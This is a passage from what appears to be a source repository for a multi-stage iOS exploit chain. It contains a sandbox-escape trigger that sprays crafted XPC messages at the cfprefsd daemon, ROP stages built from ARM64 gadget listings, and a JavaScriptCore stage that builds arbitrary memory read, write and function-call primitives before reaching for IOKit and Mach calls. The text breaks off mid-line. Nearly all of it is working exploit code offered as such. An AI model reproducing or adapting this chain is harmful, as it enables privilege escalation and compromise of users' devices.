"CFPreferencesMessages", arr); 284 | 285 | /////////////// build repl_dict /////////////// 286 | 287 | repl_dict = repl_dict2 = repl_dict3 = xpc_dictionary_create(NULL, NULL, 0); 288 | arr = xpc_array_create(NULL, 0); 289 | spray_dict = xpc_dictionary_create(NULL, NULL, 0); 290 | 291 | value = value2 = calloc(1, FILL_SIZE); 292 | _platform_memset(value2, 'Q', FILL_SIZE - 1); 293 | *value = GUESS_HIGH + (GUESS_ADDR + GUESS_SHIFT); 294 | 295 | l = FILL_DICT_COUNT; 296 | do { 297 | sprintf(key, "%d", l); 298 | xpc_dictionary_set_string(spray_dict, key, value); 299 | } while (l = l - 1); 300 | 301 | m = FILL_COUNT; 302 | do { 303 | xpc_array_append_value(arr, spray_dict); 304 | } while (m = m - 1); 305 | 306 | xpc_dictionary_set_int64(repl_dict2, "CFPreferencesOperation", 5); 307 | xpc_dictionary_set_value(repl_dict3, "CFPreferencesMessages", arr); 308 | 309 | /////////////// build vuln_dict /////////////// 310 | 311 | vuln_dict = vuln_dict2 = vuln_dict3 = xpc_dictionary_create(NULL, NULL, 0); 312 | arr = xpc_array_create(NULL, 0); 313 | 314 | arr_free = arr_free_ = xpc_dictionary_create(NULL, NULL, 0); 315 | xpc_dictionary_set_int64(arr_free, "CFPreferencesOperation", 4); 316 | xpc_array_append_value(arr, arr_free_); 317 | 318 | n = FREE_COUNT; 319 | do { 320 | arr_elem1 = xpc_dictionary_create(NULL, NULL, 0); 321 | xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 20); 322 | xpc_array_append_value(arr, arr_elem1); 323 | } while (n = n - 1); 324 | 325 | xpc_dictionary_set_int64(vuln_dict2, "CFPreferencesOperation", 5); 326 | xpc_dictionary_set_value(vuln_dict3, "CFPreferencesMessages", arr); 327 | 328 | /////////////// trigger /////////////// 329 | 330 | retry = 30; 331 | do { 332 | //printf("run\n"); 333 | volatile conn = [[stack=512]]xpc_connection_create_mach_service("com.apple.cfprefsd.daemon", 0, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); 334 | xpc_connection_set_event_handler(conn, { _NSConcreteGlobalBlock, 0x50000000, CFShow, { 0, 0x20, "v16@?0@\"NSObject\"8", 0 } }); 335 | xpc_connection_resume(conn); 336 | 337 | volatile client = [[stack=512]]xpc_connection_create_mach_service("com.apple.cfprefsd.daemon", 0, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); 338 | xpc_connection_set_event_handler(client, { _NSConcreteGlobalBlock, 0x50000000, CFShow, { 0, 0x20, "v16@?0@\"NSObject\"8", 0 } }); 339 | xpc_connection_resume(client); 340 | 341 | volatile link = [[stack=512]]xpc_connection_create_mach_service("com.apple.cfprefsd.daemon", 0, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); 342 | xpc_connection_set_event_handler(link, { _NSConcreteGlobalBlock, 0x50000000, CFShow, { 0, 0x20, "v16@?0@\"NSObject\"8", 0 } }); 343 | xpc_connection_resume(link); 344 | 345 | sleep(1); 346 | xpc_connection_send_message(link, huge_dict); 347 | xpc_connection_send_barrier(link, { _NSConcreteGlobalBlock, 0x50000000, CFShow, { 0, 0x20, "v8@?0", 0 } }); 348 | xpc_connection_send_message(client, repl_dict); 349 | xpc_connection_send_message(conn, vuln_dict); 350 | sleep(3); 351 | if !(access(STAGE4_FLAG, F_OK)) { 352 | break; 353 | } 354 | 355 | xpc_release(link); 356 | xpc_release(client); 357 | xpc_release(conn); 358 | sleep(1); 359 | } while (retry = retry - 1); 360 | 361 | exit(42); 362 | -------------------------------------------------------------------------------- /rope4.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | #include "config2.h" 3 | extern __stderrp; 4 | extern access; 5 | extern close; 6 | extern creat; 7 | extern dup2; 8 | extern exit [[noreturn]]; 9 | extern fprintf [[regparm = 2]]; 10 | extern lseek; 11 | extern mach_task_self_; 12 | extern mach_thread_self; 13 | extern open; 14 | extern pread; 15 | extern task_threads; 16 | extern thread_suspend; 17 | extern unlink; 18 | extern shared_cache_slide = 0; // XXX nasty trick to make the relocator store the slide here 19 | 20 | #define F_OK 0 /* test for existence of file */ 21 | 22 | /* open-only flags */ 23 | #define O_RDONLY 0x0000 /* open for reading only */ 24 | #define O_RDWR 0x0002 /* open for reading and writing */ 25 | 26 | #define SEEK_END 2 /* set file offset to EOF plus offset */ 27 | 28 | /* 29 | XXX upon entry, x0 points somewhere on the thread stack. We need to switch 30 | to a real stack, because JavaScriptCore does not like our mapped address... 31 | 32 | WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter.asm 33 | sanitizeStackForVMImpl() will test for VM::m_lastStackTop 34 | WebKit/Source/WTF/wtf/StackBounds.cpp 35 | StackBounds::currentThreadStackBoundsInternal() 36 | */ 37 | 38 | thstack = [[stack=0x200]]__gadget_ret(); // internal gadget, returns x0 39 | 40 | if !(access(STAGE4_FLAG, F_OK)) { 41 | unlink(STAGE4_NAME); 42 | while (1); 43 | } 44 | 45 | close(creat(STAGE4_FLAG, 420)); 46 | 47 | myth = mach_thread_self(); 48 | task_threads(*mach_task_self_, &thread_list, &thread_count); 49 | while (thread_count) { 50 | oth = *thread_list & 0xffffffff; 51 | thread_list = thread_list + 4; 52 | thread_count = thread_count - 1; 53 | if (oth - myth) { 54 | thread_suspend(oth); 55 | } 56 | } 57 | 58 | fd2 = fd1 = open(STAGE4_FLAG, O_RDWR); 59 | dup2(fd1, 1); 60 | dup2(fd2, 2); 61 | 62 | volatile fd = open(STAGE5_NAME, O_RDONLY); 63 | volatile sz = lseek(fd, 0, SEEK_END); 64 | volatile addr = (thstack - sz - 0x1000) & 0xFFFFFFFFFFFFC000; 65 | fprintf(*__stderrp, "addr = %p\n", addr); 66 | pread(fd, addr, sz, 0); 67 | close(fd); 68 | 69 | cur = addr + sz; 70 | // external relocs 71 | do { 72 | cur = cur - 8; 73 | g_off = *cur; 74 | g_dst_ptr = g_src_ptr = addr + g_off; 75 | *g_dst_ptr = *g_src_ptr + shared_cache_slide; 76 | } while (g_off); 77 | // local relocs 78 | do { 79 | cur = cur - 8; 80 | l_off = *cur; 81 | l_dst_ptr = l_src_ptr = addr + l_off; 82 | *l_dst_ptr = *l_src_ptr + addr; 83 | } while (l_off); 84 | 85 | fprintf(*__stderrp, "jump to stage 5\n"); 86 | [[noreturn]]gadgets_pivot(__gadget_nop, addr); 87 | -------------------------------------------------------------------------------- /rope5.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | #include "config2.h" 3 | 4 | extern JSContextGetGlobalObject; 5 | extern JSEvaluateScript; 6 | extern JSGlobalContextCreate; 7 | extern JSGlobalContextRelease; 8 | extern JSObjectMake; 9 | extern JSObjectMakeArray; 10 | extern JSObjectMakeFunctionWithCallback; 11 | extern JSObjectMakeTypedArrayWithBytesNoCopy; 12 | extern JSObjectSetProperty; 13 | extern JSStringCreateWithUTF8CString; 14 | extern JSStringGetMaximumUTF8CStringSize; 15 | extern JSStringGetUTF8CString; 16 | extern JSStringRelease; 17 | extern JSValueMakeNumber; 18 | extern JSValueMakeUndefined; 19 | extern JSValueToStringCopy; 20 | 21 | extern __stderrp; 22 | extern calloc; 23 | extern close; 24 | extern dlopen; 25 | extern dlsym; 26 | extern exit [[noreturn]]; 27 | extern fprintf [[regparm = 2]]; 28 | extern free; 29 | extern lseek; 30 | extern malloc; 31 | extern open [[regparm = 2]]; 32 | extern pread; 33 | 34 | extern pthread_get_stackaddr_np; 35 | extern pthread_get_stacksize_np; 36 | extern pthread_self; 37 | 38 | #define NULL 0 39 | 40 | /* open-only flags */ 41 | #define O_RDONLY 0x0000 /* open for reading only */ 42 | 43 | #define SEEK_END 2 /* set file offset to EOF plus offset */ 44 | 45 | #define RTLD_LAZY 0x1 46 | 47 | #define kJSPropertyAttributeNone 0 48 | 49 | #define kJSTypedArrayTypeUint32Array 6 50 | 51 | [[stack=0x200]]fprintf(*__stderrp, "Stage5\n"); 52 | 53 | volatile fd = open(STAGE6_NAME, O_RDONLY); 54 | if (fd & 0x80000000) { 55 | fprintf(*__stderrp, "cannot find stage6\n"); 56 | exit(-1); 57 | } 58 | volatile sz = lseek(fd, 0, SEEK_END); 59 | volatile source = calloc(1, sz + 1); 60 | pread(fd, source, sz, 0); 61 | close(fd); 62 | 63 | /* 64 | gadgets_0: 65 | f940008c ldr x12, [x4] 66 | f9401985 ldr x5, [x12, #0x30] 67 | aa0403e0 mov x0, x4 68 | aa0b03e1 mov x1, x11 69 | aa0a03e2 mov x2, x10 70 | aa0903e3 mov x3, x9 71 | aa0803e4 mov x4, x8 72 | d61f00a0 br x5 73 | 74 | gadgets_1: 75 | f9400408 ldr x8, [x0, #8] 76 | f9400900 ldr x0, [x8, #0x10] 77 | f9400008 ldr x8, [x0] 78 | f9400d01 ldr x1, [x8, #0x18] 79 | d61f0020 br x1 80 | 81 | gadgets_2: 82 | f9400408 ldr x8, [x0, #8] 83 | f9400d00 ldr x0, [x8, #0x18] 84 | b4000080 cbz x0, ... 85 | f9400008 ldr x8, [x0] 86 | f9403101 ldr x1, [x8, #0x60] 87 | d61f0020 br x1 88 | 89 | gadgets_3: 90 | a9bf7bfd stp x29, x30, [sp, #-0x10]! 91 | 910003fd mov x29, sp 92 | f9400808 ldr x8, [x0, #0x10] 93 | d63f0100 blr x8 94 | d2800000 movz x0, #0 95 | a8c17bfd ldp x29, x30, [sp], #0x10 96 | d65f03c0 ret 97 | 98 | gadgets_4: 99 | a9420001 ldp x1, x0, [x0, #0x20] 100 | d61f0020 br x1 101 | 102 | gadgets_5: 103 | a9be4ff4 stp x20, x19, [sp, #-0x20]! 104 | a9017bfd stp x29, x30, [sp, #0x10] 105 | 910043fd add x29, sp, #0x10 106 | aa0003f3 mov x19, x0 107 | a9402260 ldp x0, x8, [x19] 108 | b9401261 ldr w1, [x19, #0x10] 109 | a9418e62 ldp x2, x3, [x19, #0x18] 110 | f9401a64 ldr x4, [x19, #0x30] 111 | d63f0100 blr x8 112 | f9001660 str x0, [x19, #0x28] 113 | a9417bfd ldp x29, x30, [sp, #0x10] 114 | a8c24ff4 ldp x20, x19, [sp], #0x20 115 | d65f03c0 ret 116 | 117 | gadgets_6: 118 | f9400000 ldr x0, [x0] 119 | d65f03c0 ret 120 | 121 | gadgets_7: 122 | f9000002 str x2, [x0] 123 | d65f03c0 ret 124 | 125 | gadgets_8: 126 | a9402005 ldp x5, x8, [x0] 127 | a9410c01 ldp x1, x3, [x0, #0x10] 128 | a9421002 ldp x2, x4, [x0, #0x20] 129 | aa0803e0 mov x0, x8 130 | d61f00a0 br x5 131 | */ 132 | 133 | // make sure we got the JSC ready 134 | [[stack=0x2000]]dlopen("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore", RTLD_LAZY); 135 | 136 | fprintf(*__stderrp, "Setup\n"); 137 | 138 | exception = NULL; 139 | volatile context = JSGlobalContextCreate(NULL); 140 | volatile script = JSStringCreateWithUTF8CString(source); 141 | volatile sourceURL = JSStringCreateWithUTF8CString("Stage6"); 142 | volatile globalObject = JSContextGetGlobalObject(context); 143 | 144 | // leakval primitive 145 | volatile value = JSValueMakeNumber(context, 1337); 146 | volatile boxed = JSObjectMakeArray(context, 1, &value, NULL); 147 | butterfly = boxed + 8; 148 | 149 | array = JSObjectMakeTypedArrayWithBytesNoCopy(context, kJSTypedArrayTypeUint32Array, *butterfly, 8, NULL, NULL, NULL); 150 | JSObjectSetProperty(context, globalObject, JSStringCreateWithUTF8CString("lmao"), array, kJSPropertyAttributeNone, NULL); 151 | JSObjectSetProperty(context, globalObject, JSStringCreateWithUTF8CString("ayyy"), boxed, kJSPropertyAttributeNone, NULL); 152 | 153 | // build some magic arrays 154 | 155 | magic = { dyld_shared_cache_arm64, dlsym, gadgets_6, gadgets_7, gadgets_8, gadgets_load_6, gadgets_set_x8, gadgets_call2v, gadgets_set_x7 }; 156 | 157 | JSObjectSetProperty(context, globalObject, JSStringCreateWithUTF8CString("magic"), JSObjectMakeTypedArrayWithBytesNoCopy(context, kJSTypedArrayTypeUint32Array, magic, 72, NULL, NULL, NULL), kJSPropertyAttributeNone, NULL); 158 | 159 | /* 160 | * Uint32Array layout: 161 | * 0x01082a000000010c 0x0000000000000000 <- structureID, butterfly 162 | * 0x???????????????? 0x0000000000000100 <- vector, len 163 | * 164 | * Arrange two adjacent Uint32Array in MarkedSpace, so we can deref +0x30 of the first parameter. 165 | */ 166 | volatile a1 = JSObjectMakeTypedArrayWithBytesNoCopy(context, kJSTypedArrayTypeUint32Array, gadgets_1, 8, NULL, NULL, NULL); 167 | volatile a2 = JSObjectMakeTypedArrayWithBytesNoCopy(context, kJSTypedArrayTypeUint32Array, gadgets_1, 8, NULL, NULL, NULL); 168 | voff = 0x10; 169 | if (a2 - a1 - 0x20) { 170 | /* 171 | * Object layout: 172 | * 0x010016000000018b 0x0000000000000000 <- structureID, butterfly 173 | * 0x0000000000000000 0x0000000000000000 <- inline properties 174 | * 0x0000000000000000 0x0000000000000000 <- inline properties 175 | * 0x???????????????? 0x0000000000000000 <- inline properties 176 | * 177 | * Create an empty object and then forcibly place our pointer as fifth property, so we can deref +0x30. 178 | */ 179 | a1 = JSObjectMake(context, NULL, NULL); 180 | a2 = JSObjectMake(context, NULL, NULL); 181 | if (a2 - a1 - 0x40) { 182 | fprintf(*__stderrp, "bad karma\n"); 183 | exit(-1); 184 | } 185 | prop = a1 + 0x30; 186 | *prop = gadgets_2; 187 | voff = 0x18; 188 | } 189 | JSObjectSetProperty(context, globalObject, JSStringCreateWithUTF8CString("qbase"), a1, kJSPropertyAttributeNone, NULL); 190 | JSObjectSetProperty(context, globalObject, JSStringCreateWithUTF8CString("tramp"), a2, kJSPropertyAttributeNone, NULL); 191 | 192 | // control = { control, ?, gadgets_4, gadgets_3, gadgets_5, (char *)control + 0x30, x0, fp, w1, x2, x3, rv, gadgets_3 }; 193 | volatile control = calloc(1, 0x4000); 194 | control_2 = control + 2 * 8; 195 | control_3 = control + 3 * 8; 196 | control_4 = control + 4 * 8; 197 | control_5 = control + 5 * 8; 198 | control_c = control + 12 * 8; 199 | *control = control; 200 | *control_2 = gadgets_4; 201 | *control_3 = *control_c = gadgets_3; 202 | *control_4 = gadgets_5; 203 | *control_5 = control + 6 * 8; 204 | 205 | volatile arr = JSObjectMakeTypedArrayWithBytesNoCopy(context, kJSTypedArrayTypeUint32Array, control, 0x4000, NULL, NULL, NULL); 206 | JSObjectSetProperty(context, globalObject, JSStringCreateWithUTF8CString("qargs"), arr, kJSPropertyAttributeNone, NULL); 207 | 208 | arr_vec = arr + voff; 209 | JSObjectSetProperty(context, globalObject, JSStringCreateWithUTF8CString("qctrl"), JSObjectMakeTypedArrayWithBytesNoCopy(context, kJSTypedArrayTypeUint32Array, *arr_vec, 0x100, NULL, NULL, NULL), kJSPropertyAttributeNone, NULL); 210 | 211 | volatile qcallIString = JSStringCreateWithUTF8CString("qcall"); 212 | JSObjectSetProperty(context, globalObject, qcallIString, JSObjectMakeFunctionWithCallback(context, qcallIString, gadgets_0), kJSPropertyAttributeNone, NULL); 213 | JSStringRelease(qcallIString); 214 | 215 | // run the script 216 | 217 | result = JSEvaluateScript(context, script, globalObject, sourceURL, 1, &exception); 218 | JSStringRelease(script); 219 | JSStringRelease(sourceURL); 220 | if (result) { 221 | fprintf(*__stderrp, "result: %p\n", result); 222 | } else { 223 | volatile exceptionIString = JSValueToStringCopy(context, exception, NULL); 224 | volatile exceptionUTF8Size = JSStringGetMaximumUTF8CStringSize(exceptionIString); 225 | volatile exceptionUTF8 = malloc(exceptionUTF8Size); 226 | JSStringGetUTF8CString(exceptionIString, exceptionUTF8, exceptionUTF8Size); 227 | fprintf(*__stderrp, "exception: %s\n", exceptionUTF8); 228 | free(exceptionUTF8); 229 | JSStringRelease(exceptionIString); 230 | } 231 | JSGlobalContextRelease(context); 232 | 233 | exit(42); 234 | -------------------------------------------------------------------------------- /stage2.asm: -------------------------------------------------------------------------------- 1 | %include "config2.asm" 2 | 3 | org STAGE2_STATIC_ADDRESS 4 | 5 | %define dd dq 6 | %define du dq ; we are org-ed at the right address 7 | %define dg dq FAKE_SHARED_CACHE_ADDR - DYLD_SHARED_CACHE_ADDR + ; cache is remapped here 8 | 9 | rope: 10 | dq 0 ; initial X29 11 | 12 | %include "rel2.asm" 13 | 14 | %undef dg 15 | 16 | %define LG(x) ___gadget %+ x 17 | 18 | %macro dg 1 19 | LG(G): dd %1 20 | %assign G G+1 21 | %endmacro 22 | 23 | %assign G 0 24 | 25 | %include "rope2.asm" 26 | 27 | align 8 28 | stage4_begin: 29 | incbin "stage4.bin" 30 | stage4_end: 31 | align 8 32 | fake: 33 | times STAGE3_FAKE_OBJECT_SZ db 'q' 34 | stage3_begin: 35 | incbin "stage3.bin" 36 | stage3_end: 37 | 38 | align 8 39 | dq 0 ; begin pointer relocs 40 | 41 | %assign R 0 42 | %rep G 43 | dq LG(R) - rope 44 | %assign R R+1 45 | %endrep 46 | 47 | rope_end: 48 | -------------------------------------------------------------------------------- /stage4.asm: -------------------------------------------------------------------------------- 1 | %include "config2.asm" 2 | 3 | org STAGE4_STATIC_ADDRESS 4 | 5 | %define dd dq 6 | %define du dq ; we are org-ed at the right address 7 | 8 | rope: 9 | dq 0 ; initial X29 10 | 11 | %define LG(x) ___gadget %+ x 12 | 13 | %macro dg 1 14 | LG(G): dd %1 15 | %assign G G+1 16 | %endmacro 17 | 18 | %assign G 0 19 | 20 | %include "rope4.asm" 21 | 22 | align 8 23 | dq 0 ; begin pointer relocs 24 | 25 | %assign R 0 26 | %rep G 27 | dq LG(R) - rope 28 | %assign R R+1 29 | %endrep 30 | -------------------------------------------------------------------------------- /stage5.asm: -------------------------------------------------------------------------------- 1 | %define dd dq 2 | 3 | rope: 4 | dq 0 ; initial X29 5 | 6 | %define LG(x) ___gadget %+ x 7 | %define LU(x) ___ulocal %+ x 8 | 9 | %macro dg 1 10 | LG(G): dd %1 11 | %assign G G+1 12 | %endmacro 13 | 14 | %macro du 1 15 | LU(U): dd %1 16 | %assign U U+1 17 | %endmacro 18 | 19 | %assign G 0 20 | %assign U 0 21 | 22 | %include "rope5.asm" 23 | 24 | align 8 25 | dq 0 ; begin pointer relocs 26 | 27 | %assign R 0 28 | %rep U 29 | dq LU(R) - rope 30 | %assign R R+1 31 | %endrep 32 | 33 | align 8 34 | dq 0 ; begin pointer relocs 35 | 36 | %assign R 0 37 | %rep G 38 | dq LG(R) - rope 39 | %assign R R+1 40 | %endrep 41 | -------------------------------------------------------------------------------- /stage6.js: -------------------------------------------------------------------------------- 1 | function pr32(x) { 2 | return ("0000000" + (x >>> 0).toString(16)).substr(-8); 3 | } 4 | 5 | function Uint64(lo, hi) { 6 | this.lo = lo >>> 0; 7 | this.hi = hi >>> 0; 8 | 9 | this.toString = function(radix) { 10 | radix = 16; 11 | return pr32(this.hi) + pr32(this.lo); 12 | } 13 | 14 | this.add32 = function(n) { 15 | var rlo = (this.lo + (n >>> 0)) >>> 0; 16 | var rhi = this.hi; 17 | if (rlo < this.lo) { 18 | rhi++; 19 | } 20 | return new Uint64(rlo, rhi); 21 | } 22 | 23 | this.add32inplace = function(n) { 24 | var rlo = (this.lo + (n >>> 0)) >>> 0; 25 | var rhi = this.hi; 26 | if (rlo < this.lo) { 27 | rhi++; 28 | } 29 | this.lo = rlo; 30 | this.hi = rhi; 31 | } 32 | 33 | this.sub32 = function(n) { 34 | var rlo = (this.lo - (n >>> 0)) >>> 0; 35 | var rhi = this.hi; 36 | if (rlo > this.lo) { 37 | rhi--; 38 | } 39 | return new Uint64(rlo, rhi); 40 | } 41 | 42 | this.sub32inplace = function(n) { 43 | var rlo = (this.lo - (n >>> 0)) >>> 0; 44 | var rhi = this.hi; 45 | if (rlo > this.lo) { 46 | rhi--; 47 | } 48 | this.lo = rlo; 49 | this.hi = rhi; 50 | } 51 | 52 | this.and32 = function(n) { 53 | var rlo = this.lo & (n >>> 0); 54 | return new Uint64(rlo, this.hi); 55 | } 56 | 57 | return this; 58 | } 59 | 60 | // throwback to 2017 @qwertyoruiopz 61 | function leakval(jsvalue) { 62 | ayyy[0] = jsvalue; 63 | var rv = new Uint64(lmao[0], lmao[1]); 64 | ayyy[0] = 1337; 65 | return rv; 66 | } 67 | 68 | /* normally the ayyy <-> lmao aliasing should be enough for any decent exploiter, but we take the easy way out: 69 | 70 | magic[0] = cache 71 | magic[2] = dlsym 72 | magic[4] = rfunc 73 | magic[6] = wfunc 74 | magic[8] = call5 75 | 76 | qargs[0] -> qargs 77 | x0: qargs[12] 78 | fp: qargs[14] 79 | w1: qargs[16] 80 | x2: qargs[18] 81 | x3: qargs[20] 82 | rv: qargs[22] 83 | */ 84 | 85 | var qargs_addr; 86 | try { 87 | qargs_addr = new Uint64(qargs[0], qargs[1]); 88 | } catch (e) { 89 | throw '!gadget'; 90 | } 91 | 92 | // set up read/write and function call 93 | 94 | var cache_addr = new Uint64(magic[0], magic[1]); 95 | var dlsym_addr = new Uint64(magic[2], magic[3]); 96 | var rfunc_addr = new Uint64(magic[4], magic[5]); 97 | var wfunc_addr = new Uint64(magic[6], magic[7]); 98 | var call5_addr = new Uint64(magic[8], magic[9]); 99 | 100 | function read8(addr) { 101 | // f9400000 ldr x0, [x0] 102 | // d65f03c0 ret 103 | qargs[12] = addr.lo; 104 | qargs[13] = addr.hi; 105 | qargs[14] = rfunc_addr.lo; 106 | qargs[15] = rfunc_addr.hi; 107 | qcall(qbase, qctrl, qargs); 108 | return new Uint64(qargs[22], qargs[23]); 109 | } 110 | 111 | function write8(addr, value) { 112 | // f9000002 str x2, [x0] 113 | // d65f03c0 ret 114 | if (value instanceof Uint64) { 115 | qargs[18] = value.lo; 116 | qargs[19] = value.hi; 117 | } else if (value != undefined) { 118 | qargs[18] = value; 119 | qargs[19] = 0; 120 | } 121 | qargs[12] = addr.lo; 122 | qargs[13] = addr.hi; 123 | qargs[14] = wfunc_addr.lo; 124 | qargs[15] = wfunc_addr.hi; 125 | qcall(qbase, qctrl, qargs); 126 | } 127 | 128 | function fcall5(fp, x0, x1, x2, x3, x4) { 129 | // a9402005 ldp x5, x8, [x0] 130 | // a9410c01 ldp x1, x3, [x0, #0x10] 131 | // a9421002 ldp x2, x4, [x0, #0x20] 132 | // aa0803e0 mov x0, x8 133 | // d61f00a0 br x5 134 | var args = qargs_addr.add32(0x100); 135 | function setarg(offset, value) { 136 | offset = (offset + 0x100) / 4; 137 | if (value instanceof Uint64) { 138 | qargs[offset + 0] = value.lo; 139 | qargs[offset + 1] = value.hi; 140 | } else if (value != undefined) { 141 | qargs[offset + 0] = value; 142 | qargs[offset + 1] = 0; 143 | } 144 | } 145 | setarg(0x00, fp); 146 | setarg(0x08, x0); 147 | setarg(0x10, x1); 148 | setarg(0x18, x3); 149 | setarg(0x20, x2); 150 | setarg(0x28, x4); 151 | qargs[12] = args.lo; 152 | qargs[13] = args.hi; 153 | qargs[14] = call5_addr.lo; 154 | qargs[15] = call5_addr.hi; 155 | qcall(qbase, qctrl, qargs); 156 | return new Uint64(qargs[22], qargs[23]); 157 | } 158 | 159 | // set up the symbol resolver 160 | 161 | function sptr(string) { 162 | return read8(read8(leakval(string).add32(0x10)).add32(0x08)); 163 | } 164 | 165 | var RTLD_DEFAULT = new Uint64(-2, -1); 166 | function dlsym(symname) { 167 | return fcall5(dlsym_addr, RTLD_DEFAULT, sptr(symname)); 168 | } 169 | 170 | // set up a more complex function call 171 | 172 | // 0xa9420408 ldp x8, x1, [x0, #0x20] 173 | // 0xa9430c02 ldp x2, x3, [x0, #0x30] 174 | // 0xa9441404 ldp x4, x5, [x0, #0x40] 175 | // 0xf9402806 ldr x6, [x0, #0x50] 176 | // 0xf9400907 ldr x7, [x8, #0x10] 177 | // 0xaa0803e0 mov x0, x8 178 | // 0xd61f00e0 br x7 179 | var gadget_load_6 = new Uint64(magic[10], magic[11]); 180 | // 0xa940a408 ldp x8, x9, [x0, #8] 181 | // 0xaa0803e0 mov x0, x8 182 | // 0xd61f0120 br x9 183 | var gadget_set_x8 = new Uint64(magic[12], magic[13]); 184 | // 0xd10083ff sub sp, sp, #0x20 185 | // 0xa9017bfd stp x29, x30, [sp, #0x10] 186 | // 0x910043fd add x29, sp, #0x10 187 | // 0xa9000fe2 stp x2, x3, [sp] 188 | // 0xf9400c00 ldr x0, [x0, #0x18] 189 | // 0xb4000100 cbz x0, #0x1957d65ec 190 | // 0xf9400008 ldr x8, [x0] 191 | // 0xf9401908 ldr x8, [x8, #0x30] 192 | // 0x910003e2 mov x2, sp 193 | // 0xd63f0100 blr x8 194 | // 0xa9417bfd ldp x29, x30, [sp, #0x10] 195 | // 0x910083ff add sp, sp, #0x20 196 | // 0xd65f03c0 ret 197 | var gadget_call2v = new Uint64(magic[14], magic[15]); 198 | // 0xf9406508 ldr x8, [x8, #0xc8] // iOS12 has 0xd0: f9406908 199 | // 0xd2800007 movz x7, #0 200 | // 0xd61f0100 br x8 201 | var gadget_set_x7 = new Uint64(magic[16], magic[17]); 202 | 203 | var gadget_set_x7_insn = read8(gadget_set_x7).lo; 204 | var gadget_set_x7_offs = ((gadget_set_x7_insn >>> 10) & 0xFFF) << (gadget_set_x7_insn >>> 30); 205 | 206 | function fcallv(fp, x0, x1, a0, a1) { 207 | var args = qargs_addr.add32(0x200); 208 | 209 | function setarg(offset, value) { 210 | offset = offset / 4; 211 | if (value instanceof Uint64) { 212 | qargs[offset + 0] = value.lo; 213 | qargs[offset + 1] = value.hi; 214 | } else if (value != undefined) { 215 | qargs[offset + 0] = value; 216 | qargs[offset + 1] = 0; 217 | } 218 | } 219 | 220 | setarg(0x208, x0); 221 | setarg(0x210, fp); 222 | 223 | setarg(0x218, args); 224 | setarg(0x200, args); 225 | setarg(0x230, gadget_set_x8); 226 | 227 | return fcall5(gadget_call2v, args, x1, a0, a1); 228 | } 229 | 230 | function fcall(fp, x0, x1, x2, x3, x4, x5, x6, x7, a0, a1) { 231 | if (x7 != undefined && x7 != 0) { 232 | throw 'x7 must be 0'; 233 | } 234 | 235 | function setarg(offset, value) { 236 | offset = offset / 4; 237 | if (value instanceof Uint64) { 238 | qargs[offset + 0] = value.lo; 239 | qargs[offset + 1] = value.hi; 240 | } else if (value != undefined) { 241 | qargs[offset + 0] = value; 242 | qargs[offset + 1] = 0; 243 | } 244 | } 245 | 246 | setarg(0x508, x0); 247 | setarg(0x510, fp); 248 | setarg(0x500 + gadget_set_x7_offs, gadget_set_x8); 249 | 250 | setarg(0x408, qargs_addr.add32(0x500)); 251 | setarg(0x410, gadget_set_x7); 252 | 253 | setarg(0x320, qargs_addr.add32(0x300)); 254 | setarg(0x328, x1); 255 | setarg(0x330, x2); 256 | setarg(0x338, x3); 257 | setarg(0x340, x4); 258 | setarg(0x348, x5); 259 | setarg(0x350, x6); 260 | setarg(0x310, gadget_set_x8); 261 | setarg(0x308, qargs_addr.add32(0x400)); 262 | 263 | return fcallv(gadget_load_6, qargs_addr.add32(0x300), 0, a0, a1); 264 | } 265 | 266 | // I can haz JimBeam? 267 | 268 | fcall(dlsym("puts\x00"), sptr("OHAI\x00")); 269 | 270 | function leakvec(arr) { 271 | var vec = leakval(arr); 272 | var len = read8(vec.add32(0x18)); 273 | if (len.lo != arr.length) { 274 | return len; 275 | } 276 | return read8(vec.add32(0x10)); 277 | } 278 | 279 | var poison = leakvec(qargs); 280 | poison.lo ^= qargs_addr.lo; 281 | poison.hi ^= qargs_addr.hi; 282 | 283 | function leakvec32(arr) { 284 | var addr = leakvec(arr); 285 | addr.lo ^= poison.lo; 286 | addr.hi ^= poison.hi; 287 | return addr; 288 | } 289 | 290 | function read4(addr) { 291 | return read8(addr).lo; 292 | } 293 | 294 | function write4(addr, value) { 295 | var val = read8(addr); 296 | val.lo = value; 297 | write8(addr, val); 298 | } 299 | 300 | ////////////////////////////////////////////////////////////////////////////// 301 | 302 | const kOSSerializeBinarySignature = 0xd3; 303 | const kOSSerializeDictionary = 0x01000000; 304 | const kOSSerializeArray = 0x02000000; 305 | const kOSSerializeSet = 0x03000000; 306 | const kOSSerializeNumber = 0x04000000; 307 | const kOSSerializeSymbol = 0x08000000; 308 | const kOSSerializeString = 0x09000000; 309 | const kOSSerializeData = 0x0a000000; 310 | const kOSSerializeBoolean = 0x0b000000; 311 | const kOSSerializeObject = 0x0c000000; 312 | const kOSSerializeTypeMask = 0x7F000000; 313 | const kOSSerializeDataMask = 0x00FFFFFF; 314 | const kOSSerializeEndCollection = 0x80000000; 315 | 316 | var IOConnectCallMethod_ptr = dlsym("IOConnectCallMethod\x00"); 317 | var IOObjectRelease_ptr = dlsym("IOObjectRelease\x00"); 318 | var IOServiceClose_ptr = dlsym("IOServiceClose\x00"); 319 | var IOServiceGetMatchingService_ptr = dlsym("IOServiceGetMatchingService\x00"); 320 | var IOServiceMatching_ptr = dlsym("IOServiceMatching\x00"); 321 | var IOServiceOpen_ptr = dlsym("IOServiceOpen\x00"); 322 | var calloc_ptr = dlsym("calloc\x00"); 323 | var close_ptr = dlsym("close\x00"); 324 | var disconnectx_ptr = dlsym("disconnectx\x00"); 325 | var free_ptr = dlsym("free\x00"); 326 | var getsockopt_ptr = dlsym("getsockopt\x00"); 327 | var mach_host_self_ptr = dlsym("mach_host_self\x00"); 328 | var mach_msg_send_ptr = dlsym("mach_msg_send\x00"); 329 | var mach_port_allocate_ptr = dlsym("mach_port_allocate\x00"); 330 | var mach_port_destroy_ptr = dlsym("mach_port_destroy\x00"); 331 | var mach_port_insert_right_ptr = dlsym("mach_port_insert_right\x00"); 332 | var mach_port_set_attributes_ptr = dlsym("mach_port_set_attributes\x00"); 333 | var mach_task_self_ = read4(dlsym("mach_task_self_\x00")); 334 | var mach_vm_allocate_ptr = 